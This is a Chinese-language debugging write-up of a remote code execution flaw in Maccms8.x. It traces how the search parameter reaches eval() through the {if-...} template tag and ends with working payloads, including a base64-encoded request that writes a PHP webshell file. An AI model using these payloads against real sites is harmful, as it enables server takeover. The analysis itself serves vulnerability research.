Maccms8.x 远程命令执行漏洞分析
前言
复现源码地址:https://github.com/yaofeifly/Maccms8.x
调试中xdebug突然自动停止,添加下httpd.conf中的FcgidIOTimeout
复现
exp:
url:localhost/maccms8/?m=vod-search post:wd={if-A:phpinfo()}{endif-A}
执行如下
phpstorm从头跟踪调试
从这里开始F7单步跟进调试,由于$tmp是在template.php中定义的一个AppTpl对象,应该是用模板解析的,从payload中也可以看出来跟模板解析有关系
跟进到template.php中
发现直接用eval执行了字符串了,进行了一次if判断,而$strif变量此时传值为phpinfo(),导致执行phpinfo()
调试分析
正向分析,从payload开始到利用的过程
首先抓包一个正常的搜索请求,wd为搜索的参数
从请求返回的结果来看有模板解析的过程,将传入的参数数值插入到了模板文件中
在index.php 34行下个断点跟进下查看
经过自定义的be函数,跟踪发现是调用addslashes转义特殊符号,转义获取到了wd参数值赋值给$wd变量,然后传值给P["wd"]
继续跟进发现加载了模板文件然后赋值给实例化类AppTpl的对象tpl的H属性,通过mark函数正则替换了部分变量内容
继续调试跟进,发现在188行,又进行了一次正则替换,将{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}'等替换成P数组中保存的键值
这时已经将我们控制输入的wd参数值插入到了模板文件中,继续往下调试,进入ifex方法
调试跟进ifex方法,由于模板文件中还有很多类似{if}这样的变量,该方法应该是解释变量的,要再次替换一遍才能输出到前台
第855行有个正则匹配,正则模式实际是'/{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}/is',匹配变量的H属性(模板解析文件)然后存入$iar变量中,$iar是一个二维数组,由于我们输入的payload是这样的
{if-A:phpinfo()}{endif-A}
因此phpinfo()会被第二个括号中的模式([\s\S]+?)匹配,存在数组中的第三个(键1是匹配的全部)
可以看到模板文件中大概有这样的需要解析的变量有130多处
继续跟进开始一个以匹配上面的字符的次数来循环的,应该是循环遍历来解析替换变量的,这里跟进下asp2phpif函数,发现只是个替换函数,对$strif没有什么影响,然后循环取数组中的第三个键值数组中的键值,也就是上述正则中的第二个匹配。这时候就将匹配的phpinfo()字符串传入$strif变量
继续跟进,经过几个判断语句进入到漏洞点eval利用阶段,直接将$strif变量拼接到了字符串中然后eval将该字符串作为php代码执行
if(phpinfo()){\$ifFlag=true;}else{\$ifFlag=false;}
因此导致了命令执行漏洞
命令执行
如何要写入一个shell呢,我们只要控制它第二个子匹配获取到的是我们控制的恶意代码,并且绕过几个过滤替换的坑就好
{if-A:EXP}{endif-A}
由于不能带单引号,会被直接转义,于是尝试构造命令,先去读当前目录,结果被and被替换了,都忘记这个了。
wd={if-A:var_dump(scandir(pos(localeconv())))}{endif-A}
网上的getshell基本都是通过base64编码写入,没有引号并不会报错,只是有一个notice,仍然可以使用,是因为被隐性作为常量对待了嘛,不是太懂PHP的细枝末节的东西,知道的师傅烦请告诉我下
通过base64编码构造shell并且写入
wd={if-A:fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeXVueWluZ10pOw))}{endif-A}
第一轮循环后成功写入shell.php
参考文章:
https://blog.csdn.net/CSDNPM250/article/details/104717372/